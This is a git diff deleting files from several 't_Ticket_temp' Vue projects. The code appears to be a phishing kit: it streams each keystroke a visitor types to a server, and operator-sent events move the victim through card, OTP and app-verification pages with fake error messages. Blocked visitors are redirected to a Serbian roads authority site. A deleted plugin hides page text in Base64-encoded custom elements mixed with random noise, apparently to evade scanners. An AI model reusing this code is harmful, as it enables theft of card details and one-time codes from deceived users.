- } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_Ticket_temp2/src/utils/common.ts.backup b/t_Ticket_temp2/src/utils/common.ts.backup deleted file mode 100644 index 8f55f26..0000000 --- a/t_Ticket_temp2/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.putevi-srbije.rs/"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_Ticket_temp3/src/components/HelloWorld.vue b/t_Ticket_temp3/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_Ticket_temp3/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_Ticket_temp3/src/components/TheWelcome.vue b/t_Ticket_temp3/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_Ticket_temp3/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp3/src/components/WelcomeItem.vue b/t_Ticket_temp3/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_Ticket_temp3/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_Ticket_temp3/src/main.ts b/t_Ticket_temp3/src/main.ts index f4f3682..9f2935b 100644 --- a/t_Ticket_temp3/src/main.ts +++ b/t_Ticket_temp3/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -25,6 +24,5 @@ app.use(i18n); app.use(createPinia()); app.use(router); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_Ticket_temp3/src/mix/textObfuscator.ts b/t_Ticket_temp3/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_Ticket_temp3/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 